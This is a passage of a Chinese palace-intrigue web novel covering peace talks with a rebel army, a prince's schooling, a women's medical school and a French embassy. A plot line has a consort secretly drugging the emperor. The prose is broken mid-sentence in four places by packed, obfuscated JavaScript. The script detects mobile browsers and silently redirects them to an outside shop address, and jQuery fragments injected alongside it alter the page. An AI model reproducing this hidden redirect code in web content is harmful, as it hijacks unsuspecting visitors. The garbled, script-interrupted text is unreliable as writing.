l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308501|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 晚饭时分,皇帝再次驾临长春宫,四人一起吃了顿饭。饭后,皇帝没有离开,而是留宿长春宫。沈明珮毛病还没好,没有侍寝,但贤妃复宠的信号依然传遍六宫。 早朝上,皇帝与群臣商议良久,最终任命宋首辅为谈判大臣,招安江南义军。同时派锦衣卫指挥使陪同宋首辅南下,捉拿两江总督、两江总兵和江南巡抚归案。 宋首辅南下途中,义军的大周还出了件大事。 时刻担心自己被放弃的两江总督三人出了个昏招——他们派探子买通了一个将军的亲戚,劝说这个将军在选拔汝宁官员的过程中插手阅卷,放这亲戚家的儿子入选。 从一开始便跟着陈咏真的将军没能抵住诱惑,强令阅卷官更改试卷,放亲戚中选。 试卷公开后,有人发现问题,上报松江。东窗事发后,将军、将军亲戚与阅卷官全部下狱。 陈咏真并未因为这位将军从一开始就追随她而放过此人。她亲赴淮安府,公开审理此案,按照律法判处三人死刑,并公开行刑。 毫不包庇的态度震慑了官吏群体,也让百姓归心,是以宋首辅进入义军地界后,看到的就是一个上下一心的大周。 他心生不妙。 陈咏真对他以礼相待,带他参观了松江、苏州两座府城,也请他观摩了义军训练,宋首辅越看心越沉,结束观摩的当天晚上就派随行官员返回京城,请示皇帝。 陈咏真知晓此事,放任官员离开。 谈判双方有意等待皇帝的反应,故而谈判的进度很慢。义军堪称漫天要价:江南省一分为二,义军管理的地方继续由义军自治,大齐其余地界也放开对女性选拔官吏、兵员的限制,并且从此女性财产只属于自己。 大齐其实也在漫天要价:义军解散,女官女兵各回各家。这也是皇帝的态度:放你们谋逆之人一条性命已是开恩,你们还想要更多? 但是知晓义军的实力后,皇帝还是将兵部尚书召进宫内。 “陕甘、宣大、东北三军任何一支全力以赴之下皆可剿灭叛军,但若是此刻叛军全力北上,京城恐怕撑不到边军回援。”兵部尚书说完低下头,生怕皇帝对他发火。 皇帝疲惫地闭上眼睛。根据前线军报,东西两侧都无法抽调兵力回防。 “让宋爱卿尽力谈吧。”皇帝最终还是放弃了,让宋首辅尽力而为。 有了皇帝的命令,谈判终于向前推进了。黄琼英不愧是翰林之女,谈判技术了得,在义军的支持下,就连宋首辅也没能讨到好,谈判结果向义军严重倾斜。 首先,大齐女子的财产从此归自己所有,任何人都不能肆意侵占。其次,义军虽然未能拿到自治权,但也没有就地解散,不论是文官还是武将,都并入大齐官员体系内,其中陈咏真获官江南都指挥同知,黄琼英更是担任江南巡抚。第三,原义军占领地区及原义军女官女将女兵女吏凡涉及女性的一切事宜,延续义军时期的律令。第四,江南省开放女子选拔胥吏和选拔士兵的途径,从今以后,女子若是想从军或是任小吏,皆可前往江南省报名。 这第三条和第四条,是陈咏真拿手铳摁着宋首辅的脑袋逼他应下来的。 自从高宗灭女官女将近百年后,大齐终于再一次迎来女官和女将。 70. 开蒙 宋首辅一行人离开后,陈咏真站起身,打开了一间暗室的门。秋霜坐在暗室内,显然将最后这场谈判从头听到了尾。 “符掌柜的,这个结果您觉得如何?”陈咏真问秋霜,“我们与朝廷谈了这么久,辛苦您放下买卖从头听到尾了。” “陈将军和黄大人都是谈判高手,”秋霜笑着回答,“这个结果其实比娘娘期待的要好一些。” 沈明珮也不可能想到陈咏真会拿着手铳逼宋首辅应下第三条。 “不过最开始我真的以为贤妃娘娘是想组织我们推翻大齐,”陈咏真大马金刀地坐到宋首辅之前的座位上,感叹道,“没想到最后还是让我们接受招安了。” “趁着现在大齐最强的军队都在和蒙古人作战,带着最高的要求接受招安,确实是最稳妥的选择,”秋霜温声解释,“娘娘也担心皇帝不管外敌,宁可失去土地也要拉边军镇压你们,那才是最糟糕的结果。” 陈咏真与黄琼英皆沉默。 过了片刻,黄琼英才问:“我大周义军连克三省齐军,占据半个江南省,装备最新式火器,面对边军竟然也是毫无胜算吗?” 陈咏真在一旁默默点头,赞同黄琼英的疑问。 “我就这么说吧,”秋霜向后仰,靠在椅背上,“训练义军的那个教官就是从东北军退下来,然后当了勇毅伯府的卫队长的。他在役期间只当到队长,连百户都不是。” 陈咏真和黄琼英更沉默了。 “但我们现在这样,又与高宗之前有什么不同呢?”陈咏真再问。 “不同就是,你们会一直有大齐最先进的武器,”秋霜回答,“而且当初的女将受的是忠君爱国的教育,不会反,但你们被逼急了还会再反。” 皇帝看到宋首辅与义军的谈判结果也沉默了,气的。 他几番深呼吸,感觉自己嗡嗡作响的脑袋清明了一些,才说:“宋爱卿,朕是没有强求谈判结果,但也说了让你尽力而为,不是让你全盘接受这群反贼的要求。” “陛下,臣也不想如此啊,”宋首辅面露苦色,“但是臣如果不答应就回不来了。” 皇帝沉默良久,才说:“罢了。” 他挥了挥手,宋首辅行礼告退。 第二天的早朝上,自然要讨论该派哪些人去江南省。两江总督、两江总兵和江南巡抚都已捉拿归案,等待皇帝下旨治罪,肯定不能再回去任职。 “陛下,宋首辅身为谈判主官,竟然让反贼坐上江南巡抚之位,实在是失职。”右都御史公开指责。 “夏大人有所不知,”宋首辅老神在在地反驳,“那黄琼英并非从一开始就跟着陈咏真起事,而是在陈咏真占据松江城后才加入叛军。如今陈咏真这个贼首只是都指挥同知,她这个副手却成了巡抚,夏大人觉得她们两个还能如先前一样吗?” 右都御史顿时无话可说,皇极殿上的官员队伍中也有些人点头。对于他们来说,曾经的下级走到自己前面确实是耻辱之事。 可陈咏真和黄琼英在谈判结束那天便秉烛夜谈,敲定了今后的大体方向,谁官位高谁官位低她们还真不在乎。 最终,宋首辅的长子临危受命,担任两江总督,宣大副总兵担任两江总兵,在击退蒙古后赴任,云南都指挥同知担任江南都指挥使,收到圣旨后立刻赴任。其余空缺官位也一一指派。 朝廷官员即将到来,义军出身的女官女将们抓紧最后的时间收拢权力。等新任两江总督和江南都指挥使到任后,他们发现原大周地界绝大多数官吏、将士都只认义军出身文武官员的命令。 当初闹罢/工的厂子重新回到大齐治下。当初义军为了稳定局势、减少敌人,凡是接受义军管理的厂子都没有换厂主,现在律法已经改变,又有义军出身的官员盯着,他们依旧不敢克扣女工。厂中多了女工头,各厂女工头带领女工成立女工会,防止再有对女工不利之事。 只有一家纺织厂,在大齐官员就位后立刻遣散所有女工,改收男工。没几天,厂主就因偷税漏税下狱,秋霜出资买下该厂,召回女工,聘请女工头。 有此厂主在前,其他各厂主更是小心翼翼行事,生怕自己也下了狱,打拼的基业尽归他人。 长春宫中,沈明珮正在教四皇子认字,皇帝踏进正殿。 沈明珮放下书本,起身行礼,四皇子也跟着有样学样。 “儿臣见过父皇。”他的动作一板一眼,非常标准,皇帝看得很满意。 “都起来吧,”他说着,走到桌案旁,“爱妃这是在教宏澈识字?” “是的,”沈明珮回答,“宏澈也五岁了,妾想着该让他认认字了。” 皇帝翻了翻让四皇子认字的书,坐到离桌案不远的座位上。 “爱妃接着教便是,不用管朕。” 他这么说,沈明珮也真就这么做,继续教四皇子识字,就像皇帝不存在一样。皇帝在一旁看着,心中点头。 吃过晚饭,四皇子早早洗漱睡觉,皇帝依然坐在殿内不肯走。 “宏澈确实该开蒙了,”他撑着下巴,注视着四皇子离去的方向,思索了一会儿,“改天朕将他的老师和伴读定下来吧。” “妾代宏澈多谢陛下。”沈明珮行礼。 “宏澈也是朕的儿子,有什么可谢的,”皇帝摆摆手,“你也是,总觉得你这几年比刚进宫那会儿更愿意向朕行礼了。” 沈明珮站起身,隐蔽地撇了撇嘴。为什么你心里没数吗? 皇帝行动得很快,第二天便定下来四皇子的老师和伴读。老师与除太子之外其他皇子的老师一样,是翰林院侍讲学士,两个伴读分别是都察院右佥都御史之子和鸿胪寺少卿之子。 两位伴读的父亲品级都不算高,年纪也不大,倒是不出沈明珮的预料。她面露恰到好处的喜悦,客客气气地将传信的赵德光请出长春宫,赵德光将沈明珮的反应告知皇帝。 皇帝听罢,亦是很满意。 四皇子不明白这些弯弯绕绕,只知道有新朋友、新老师,背着白菊做的新书包就欢欢喜喜地上宫中学堂去了。直到临近晚饭,他才回来。 “宏澈第一天上学,感觉如何啊?”寒露收走四皇子的书包,沈明珮关切地问他。 四皇子苦了脸。 “先生讲的我听不懂。” “这是怎么回事?”沈明珮立刻叫来伺候四皇子的太监,小太监跟着四皇子去学堂,听到沈明珮的问题,立刻跪在地上,将事情都说出来。 原来四皇子的老师并不只有四皇子一个皇子学生。宸妃所出的三皇子只比四皇子大了半岁,开蒙也只比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318426|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四皇子早半年,皇帝干脆将四皇子插进三皇子的班级里。 四皇子是插班生,自然没有让原来的学生跟着他的进度重学一遍的道理,但他刚识几个字,听老师讲课与听天书无异,自然体验很差。 小太监清楚地看见,沈明珮的脸阴沉得要滴出水来。 沈明珮当然很生气。皇帝这一手有效地防止了三皇子和四皇子长大后同老师勾结,但这是以四皇子的学习成果为代价的。一个五岁孩子,在刚上学的时候就被迫学超出他能力范围的东西,屡屡收获负反馈之下,他还能爱学习吗? “孩子多了就把孩子当工具了。”沈明珮抱怨了一句,而后让小太监退下。 “宏澈不怕,我们先吃饭,”她难得地将四皇子抱起来,“以后每天晚上吃完饭,母妃都教你识字,你看好不好?” “好。”四皇子又露出笑容。 此后每天晚上沈明珮都给四皇子补课,四皇子也是进步神速,很快就能听懂老师讲的内容。 侍讲学士心中惊讶,向皇帝禀报时特地提了一嘴,皇帝笑得意味莫名。 当天晚上,圣旨传至长春宫,命四皇子迁居皇子所。 “宏澈才五岁,怎么就要住皇子所了?”沈明珮面色不虞。 “娘娘,按规矩,皇子只要开蒙就要住皇子所,”宣旨的太监赔笑着说,“三皇子也搬过去了。” 规矩是规矩,但是一般情况下皇子都是八九岁了再去皇子所,才开蒙便去的才是罕见情况。但有三皇子一起陪着,沈明珮便是有异议也说不出来。 “宋英,宏澈就拜托你了。”她最终将宋英拨到四皇子身边。 宣旨太监此番不仅要宣旨,还要监督四皇子搬到皇子所。长春宫宫人抓紧时间也只能把基本的行礼收拾出来,在宫门落锁前送四皇子离开。 看着远去的四皇子,沈明珮心中痛骂,这狗皇帝就该断子绝孙。 四皇子到了皇子所,又换了不少宫人,好在皇帝没打算彻底撕破脸,宋英被留下来,此后四皇子的日常情况沈明珮只能通过宋英获知。这种情况下,沈明珮也并未放弃对四皇子的教导,她通过宋英反馈的情况来指导宋英下一步如何照顾四皇子。 到了初冬,沈明玥与肃王世子成婚。 也许是知道自己在四皇子的问题上有些过分,皇帝特别允许沈明珮出宫参加沈明玥的婚礼。 勇毅伯府内,迎亲的肃王世子一行人正将沈明玥接出房间,伯府外传来太监的高喊。 “贤妃娘娘到——” 伯府内主客皆站起身,出府迎接沈明珮。 沈明珮不想在妹妹的婚礼上喧宾夺主,拖着繁重的大礼服快步走进伯府内,与前来拜见她的人撞了和正着,又领着他们回到沈明玥拜别父母的地方。 “本宫今日只是送妹妹出嫁的姐姐,各位不必拘束,”她高声说,“继续婚礼吧,莫要误了吉时。” 沈思远为表不满,并未出现在沈明玥的婚礼上,沈明珮正好与刘芸同坐在主位上,看着沈明玥拜别自己后上了肃王府的花轿。 “娘娘,该回宫了。”跟她出来的乾清宫的太监立刻提醒。 沈明珮站起身,看着戴着新打出来的狄髻冠的母亲,微笑着告退。 “母亲,我回去了。” 71. 女医 三朝回门后,肃王妃带沈明玥进宫拜见沈明珮。沈明玥容光焕发,万事都说好,同沈明珮聊到要离开的时辰才依依不舍地与她告别。 入了冬,离五公主的周岁就很近了,沈明珮也开始忙起来。 “娘娘已经无碍,可以再行房事了。”又是一次照常的诊脉,云太医沉思后说。 “不错,”沈明珮满意地点点头,这意味着她们接下来的计划可以推进了,“让你和寒露研制的药可做出来了?” “已经完成,”云太医说着从怀里拿出一个小匣子,打开匣子,可以看见一个装满药粉的瓶子,“此药生效时间较长,需要长期让陛下服用,每个月至少两次,一次一钱,一年后可彻底生效。” 沈明珮接过匣子。这样设计固然会在下药上有些麻烦,但也减轻了她被怀疑的可能。 她又问起寒露:“寒露在大人这里学得怎么样?” “基本可以出师了,”云太医回答,“寒露姑娘聪慧刻苦,便是真做医师也能胜任。” 沈明珮更满意了。 五公主的周岁宴越来越近了。她是大齐立国以来罕有的被赐婚前就有封号的公主,周岁宴的规格自然不能与无封号的公主等同。负责操办宴会的皇后不得不捏着鼻子将五品以上的命妇请来。 宫宴地址依旧设在长春宫,这一次不仅是正殿,长春宫宫院也利用起来,全部摆上桌椅。后妃和品级高的外命妇尚能坐进正殿,品级低些的就只能坐在院中。 宴会当天,外命妇与散号妃嫔早早来到长春宫,而后主位妃嫔陆续入场。内命妇与外命妇俱到场后,沈明珮带着五公主出场。 沈明珮一身皇妃大礼服,五公主也穿着大红织金的婴儿衣装。母女二人一出现,除宁妃、宸妃,在场其余人均起身行礼。 沈明珮在一片问安声中坐到主位左下首的座位上,而后温声道:“各位请起。” 等到快开宴时,帝后相携而来,沈明珮率先起身,领着众人向帝后问安。 “爱妃不必多礼,”皇帝将她扶起来,“我们的小寿星呢?抱过来给朕看看。” 乳母抱着五公主走过来,皇帝接过她,抱在自己怀里,皇后也紧靠在一旁看着,一脸慈爱。 在臣子面前,皇帝致力于将天家打造成一个父慈子孝、兄友弟恭、妻妾和睦的模范家庭。皇后能借此塑造好名声,自然也是喜闻乐见。 于是展现在外命妇眼前的这一幕,居然颇为温馨。 当然,帝后看孩子与妃子是无关的,沈明珮只能静静站在一旁,恭敬地看他们逗弄五公主。等皇帝兴致散去,将五公主放回到乳母怀里,通皇后坐到主位上,沈明珮才如蒙大赦般带着乳母回到自己座位上。 “开宴吧。”皇帝宣布。 为了照顾在院中的命妇,菜上得很快,众人安静迅速地吃饭。等到菜上齐,大家吃得差不多了,沈明珮放下筷子,走到主位前。 “陛下,”她行礼,“妾有一喜事要告知陛下。” “何事?”皇帝放下酒杯。 “妾生下柔嘉时曾得了点小毛病,现在已经彻底治好啦,”沈明珮笑着说,“陛下有所不知,妾能痊愈,多亏了寒露呢。” “哦?为什么这么说?”在宴席上听到沈明珮公开谈私事,皇帝其实不太高兴,但碍于众多命妇在场,他只能忍着。 皇后撇开脸,不屑地微笑。 “寒露经云太医教导,也学得一手好医术,在为妾身治病上出了很大力气,”沈明珮说着,再行一礼,“陛下,正巧趁柔嘉周岁,妾想求一个恩典。” 外命妇中品级高、坐得前的已经有不少都抬头看过来,皇后也转回头,意外于事情的走向。 “什么恩典?”皇帝问。 “妾想请陛下设立女医,”沈明珮一字一句地回答,“众所周知,碍于男女大防,大夫为女子看病多少有些麻烦,一些难以启齿的病上更是如此。但不论富贵还是贫贱,人都会生病,这是避免不了的。妾便想,若是能有女医,女子们看病时会不会方便很多?便说妾身自己,因为有寒露在,在治病时就多了很多便利。” 不知为何,皇帝听到沈明珮的请求,居然有种意料之外情理之中的感觉,他侧过头,看向皇后:“梓潼,贤妃的提议,你有什么看法?” 皇后的笑容有些僵硬。她讨厌沈明珮,厌恶一切她出风头的举动。但是设立女医的提议是能切实造福包括她在内的所有女子的,她没办法睁眼说瞎话地反对。 “陛下,妾身也觉得贤妃提议甚好,”她不得不说,“只是如何实施,还需详议。” “确实应该好好讨论,”外命妇席间,一个老太太突然插话,“贤妃确实当得起贤这个封号,提的问题也都是造福众人的。这么好的提议,陛下和皇后娘娘自当好好安排,让它落实下来,才不辜负贤妃一番好心。” 这位老太太一身亲王妃大礼服,坐在外命妇席中最靠前的座位上,赫然是外命妇与宗室命妇中地位最高、资格最老的。 “叔祖母说得是,”皇帝虚心接受,“朕会好好考虑的。” 皇后气得不轻。这老王妃一说,设立女医的功劳就绝对是沈明珮的,那句当得起贤妃的贤字更是狠狠抬了一波沈明珮的声望。在场命妇不可能缺请大夫的钱,缺的向来都是能不受阻碍好好看病的医生,一旦女医制度建立,她们就是绝对的受益者,必然会记得沈明珮的好。 但是她敢把事情搞砸吗?她不敢。 “叔祖母放心,”她顺着皇帝的话说,“我会好好安排的。” 一场宴席还能有意外之喜,外命妇们都很开心。沈明珮提出计划,得了名声,五公主也跟着得了一大波赏赐,心情也很好。只有一个人心情不好。 宴会结束,天色已晚。皇后第一时间起身离开,连外命妇还没退干净都不顾了。命妇们不敢说什么,恭敬离开,只有先前发话的老王妃不满地摇了摇头。 皇帝见状,走上前去送老人家离开。 “朕送送叔祖母。” 老王妃的丈夫老诚王在先帝在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328290|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时是宗人府宗人令,一向老实本分,与人为善,在皇帝尚是落魄皇子时就帮了他不少。老诚王在先太子去世不久后病逝,诚王府未在夺嫡中站队,在新帝登极后一直老老实实,皇帝对老王妃很是敬重。 “不用送了,今日是你女儿的生辰,回去陪贤妃和柔嘉公主吧,”一将老王妃送出长春宫,她就要让皇帝回去,见皇帝仍不肯动,又长叹一声,“太后当初私心太重了,您现在已经是皇帝了,心里一定要有数啊。” 说完,她拄着手杖,在侍女的搀扶下缓缓离开。 皇帝回到长春宫正殿。人已经退干净了,宫人在收拾残局。沈明珮坐在寝屋内,逗五公主玩。 她正拿着一个小鹰玩偶,举在半空中五公主正好能够到的位置摇晃,皇帝推门进来。 “陛下。”沈明珮放下玩偶,正要行礼,皇帝将玩偶接过,继续举着逗五公主。 五公主伸着手就要抓玩偶。 “在孩子面前,不必这么规矩。”皇帝制止了沈明珮的行礼,拉她坐下,一起陪五公主玩。 玩累了,乳母将五公主抱回去,寝屋里只剩了皇帝和沈明珮两个主子。沈明珮对着门外喊人端水,寒露就端着两个杯子进了屋。 沈明珮拿起一个杯子,递给皇帝:“陛下又是喝酒又是陪柔嘉玩,应当也渴了,快喝些水吧。” 皇帝不疑有他,接过杯子,一口气喝了半杯水。 沈明珮悬着的心放下。这杯里的水自然是加了药的。为了让皇帝没有防备地服药,她特意让云太医做了两份,自己也吃一份。 反正她也不准备再要孩子了。 时间已晚,两人分别洗漱,而后就寝。毫不意外地,沈明珮再次侍寝,并且重新出现在侍寝名单上。后宫妃嫔众多,皇帝驾临长春宫的频率也不过是一个月两三次,正好符合下药的要求。宫里没了钉子,此事又只限于沈明珮和寒露、云太医知晓,下药之事做得隐秘且顺利。 女医制度也顺利推进。皇帝听了老诚王妃的话,女医的设立根本就没有经皇后的手。太医院领了这个任务,在京城建立女医院,选拔有志向、有天赋的女孩子学医,兼任院长的正是教出寒露的云太医。 保守的士大夫们原本以为不会有多少女孩子报名做女医。但与他们的认知相反,有学习技能的机会,很多普通家庭都把家中女儿送去报名。 他们家中的女儿不能像江南的女孩子当兵当吏,做女医,有个进身之阶也不错。 于是女医院的名额很快就满了。有皇帝下令,有沈明珮命令云太医监管,女医院的老师都认真授课,相信过几年,第一批出师的女医就能为宫中后妃或是各家女眷诊治,也可自己开设医官了。 夏天,德嫔被诊出有孕。皇帝大喜过望,当即赐了她不少珍宝。 “不错,陛下确实应当好好庆祝,”长春宫内,沈明珮慢声细语,“毕竟不出意外的话这就是他的最后一个孩子了。” 有这个孩子在,以后他再无子嗣,也不会有人怀疑到她头上了。 72. 来使 “娘娘,该出发了。”长春宫内,寒露提醒沈明珮。 “走吧。”一身宫装,头戴全套狄髻头面,沈明珮在寒露的陪伴下走出长春宫。 此时正是阳春三月,新一届的秀女经过训练后由皇帝选拔入宫。这一次,沈明珮也像曾经的宁妃、顺嫔一样轻松处之,没有再穿着大礼服观看秀女选拔。 “贤妃姐姐来啦?”到储秀宫时,主位妃嫔已来了不少,其中新晋位的德妃向沈明珮打招呼。 沈明珮顺势同她寒暄几句。 从五公主周岁至今也发生了不少事。去岁冬天,沈明玥生子,不出意外这个孩子会在现在的肃王世子死后继承最后一任肃王爵,此后肃王府将降格为郡王府。而后,今年年初,德嫔产子,皇帝擢德嫔为德妃,册封礼刚举办不久。 至此,二品四妃满额。 沈明珮并没有对新晋秀女投入太多的注意力,因为前两天朝中刚刚发生了一件大事。 法兰西派使节访问大齐。 大齐对西洋只有一个整体印象,不论哪个国家通通称为泰西。此次法兰西来使,刷新了大齐人的认知——原来所谓的泰西,也有很多国家。 法兰西来使自然被安排进鸿胪寺的客舍。鸿胪寺官员安排接待他们的事宜,而后发现了一个尴尬的问题:他们不会法兰西文。 从古至今,大齐地界都号称中国,以天朝上国自居,从来只有周边国家朝拜宗主国,从没有宗主国主动了解其他国家一说。法兰西来使能与大齐官员交流也是因为他们找了一个在大齐生活的法兰西传教士。 但法兰西使节此次前来还带着法兰西的书籍、器物,这些东西鸿胪寺官员一概不懂。无奈之下,鸿胪寺卿只得向内阁求援。 内阁也没办法。大齐文官学的都是同一套东西,鸿胪寺的人不会他们就能会了吗?于是首辅也上书向皇帝求援。 “所以我堂堂大齐,竟然连个懂西文的官员都没有?”早朝上,皇帝拿着首辅的上书质问百官。 官员们低下了头,但是没有就是没有。 “陛下,臣等自幼学的是经义策论,如何为人为臣,泰西语言这种偏门之学确实不在士子的学习范围内,”首辅站出来打圆场,“大齐人才济济,各有所长,必有熟悉泰西语言文字之人,陛下不妨在民间寻找人才。” “也罢,就依宋爱卿所言吧。”皇帝应允。 于是皇帝问都没问在宫中学习规矩的秀女们,一心扑在前朝。寻找懂得法兰西语言文字之人的告示贴在京城的大街小巷,等待大齐人揭下。 可惜一连数天都无人问津。 在这种情况下,沈明玥向宫中去了信,沈明珮收到信后,当天就回信至肃王府。 沈明玥收到信的时候肃王世子也在,她当着肃王世子的面打开信,看完后便向他提起信中之事。 “我懂法兰西人的语言和文字,若是陛下实在找不到人,不知可否让我试试?” “你竟然懂法兰西文?”肃王听了儿子的禀报,好奇地问沈明玥,肃王妃也坐在肃王旁边,看向儿媳的目光满是好奇。 “儿媳母亲的生母曾与一个英吉利传教士为友人,”沈明玥回答,“她在传教士那里学习了法兰西和英吉利的语言文字,而后传给了母亲,母亲又传给了儿媳。” 肃王挑起眉毛,后靠在椅背上。 他啧啧称奇:“这可真是奇遇。不过,英吉利又是什么?” “听母亲说,英吉利也是泰西的国家,与法兰西隔海相望。两个国家向来关系恶劣,历史上还多次交战。”沈明玥解说道。 “父王,母妃,明玥可不可以去应下陛下的招揽?”肃王世子在一旁着了急。 “看你急的,”骤然被打断了话题,肃王也有些无语,“为父这就去同陛下说。” “多谢父王!”沈明玥与肃王世子异口同声道。 肃王进了乾清宫,皇帝听到此事,也颇感意外。 “朕这些天为了能与法兰西人交流的人才愁掉了头发,不想这人才远在天边近在眼前,就在王叔的王府里啊,”他笑呵呵地说,“既然弟妹她有这个能力,那此次译官之职便交给她了。” “臣代儿媳多谢陛下。”肃王行礼。 有了人选,皇帝撤下了寻求人才的告示,在接下来的早朝中宣布此事。 “陛下,肃王世子妃一个女子,怎能在如此重大场合代表我大齐与他国来使交流?”不出意外的,有人反对沈明玥担任翻译,最先站出来的就是礼部尚书,“法兰西使节亦俱是男子,我大齐派出一个女子,如何显示我天朝上国的威严?” 宋首辅在官员最前方,听到礼部尚书的反对,默默低下头。他还是没有从之前的事情中吸取教训。 果不其然,皇帝接下来就问他:“那孔爱卿可有合适的人选?” 礼部尚书自然是答不上来的。 “所以,孔爱卿是觉得,我们不带翻译就能展现天朝上国的威严了?”皇帝语气间不显愤怒,却让礼部尚书冷汗涔涔。 “臣并无此意。”他立刻表态。 翻译人选就这么确定下来,法兰西使节觐见当日,沈明玥在鸿胪寺礼官中接引、陪同来使。 选秀结束后第五天,皇帝宣法兰西使节觐见。 接待分为朝会、宴会与朝会三个阶段,第一个朝会与宴会在同一天。 早饭过后,沈明玥一身一品诰命大礼服,同鸿胪寺其他官员来到客舍。她的法兰西语果然水准过硬,在鸿胪寺官员与法兰西使节的交谈间充当同声翻译。鸿胪寺官员和法兰西使节之间果然再无沟通障碍,法兰西使节在鸿胪寺官员的带领下进入皇宫。 皇极殿上,百官早已列队站好,皇帝高坐在龙椅上,注视着这一行人踏上皇极殿前的广场。 “陛下,法兰西使节已到。”一行人中为首的鸿胪寺少卿入殿,向皇帝禀报。 “宣。”皇帝淡淡地吐出一个字。 “宣法兰西来使觐见——”大太监高亢的声音响彻皇极殿,传到殿前广场上,沈明玥当即用法兰西语言与来使交流,而后领着他们走到殿内。 “临时译官沈明玥,拜见陛下。”沈明玥说着行了个大礼。 跟在她后面的法兰西使节愣了。他们国家并无这种大礼,现在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343431|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们也要向前面的女子那么做吗? 场面一时僵住,偏偏站在皇帝身侧的司礼监提督赵德光还质问:“面对他国国君不行礼,这就是法兰西的礼数吗?” 皇帝将自己最大的心腹太监带出来,本来就是为了撑场子,现在见场子要凉,他果然站出来了。 法兰西使节听不懂,求助地看向沈明玥。沈明玥立刻将赵德光的话原原本本地翻译给他们。 使节首领思索片刻,按法兰西自己的礼节向皇帝行礼,而后说出一段在场众人听不懂的话。 沈明玥立刻翻译:“这位使节说,法兰西没有臣妇先前的行礼方式,且法兰西作为泰西强国,如此行礼有辱国格,故他以法兰西自己的礼节向陛下行礼。” 赵德光脸色一沉,就要继续指责,殿内其他官员脸色也不是很好看。 “虽说客随主便,但你们自泰西而来,恐也不知此礼节。不知者不罪,朕便不要求你们重新行礼了。”皇帝的话打断了赵德光的怒斥,他低下头,减轻自己的存在感。 沈明玥将皇帝的话翻译成法兰西语言,法兰西使节也皱了皱眉头。好在他最终还是压下火气,继续与皇帝交谈。 越是交谈,沈明玥越能感觉到大齐君臣与法兰西使节的分歧。大齐君臣认为法兰西是像过往的周边小国一样来朝拜的,见法兰西使节并未敬着自己,心中不满。法兰西使节则将此次会见视为平等的交流,大齐君臣居高临下的态度也让他们很生气。若不是顾着最基本的礼貌,双方大概已经吵起来了。 但即便如此,空气中也有不少火药味。 好在快到中午,到了举办宴会的时候,可以暂且散散火药味了。 大型宫宴一般是在皇极殿举办的,但此次接见法兰西使节,朝会紧连着宴会,在皇极殿内设宴显然不现实,故皇帝将宴会地点定为乾清宫,操办者自然是皇后。 此次宫宴,宫中主位妃嫔皆需着大礼服入场。沈明珮身着石青鞠衣、妆花马面裙、大衫霞帔,头戴七翟冠,在寒露的陪伴下坐在主位右下首的位置上。等皇后和妃嫔全都到齐,安静等待了好一会儿后,皇帝才带着大臣和法兰西使节到场。 “妾身见过陛下。”皇后站起身,领着众妃嫔行礼,而后诸位大臣再向后妃行礼。 “臣见过诸位娘娘。” 为首的法兰西使节立刻叽里咕噜说了一长串,而后走到皇后面前,竟是要牵起皇后的手。 沈明玥立刻冲上前将他拉住,皇后也是面色铁青。沈明玥对着使节说了老长一串,他才了然地点点头,而后又回了一段话。 沈明玥送了口气,忙向帝后说:“使节先生认为这位美丽威严的夫人应当是大齐皇后,想要向前行礼。不想法兰西的礼节与大齐的礼仪冲突,险些惹皇后娘娘不快,他衷心地道歉,希望皇后娘娘不要介意。” 使节的话取悦了皇后,她非常大度地表示自己已经不再介意。使节又问在场的其他女士都是什么人,沈明玥没有翻译给帝后,直接自己做了回答。 随后,使节落座,大齐君臣也悉数落座。沈明玥坐在使节旁,赫然是要继续履行翻译的职责。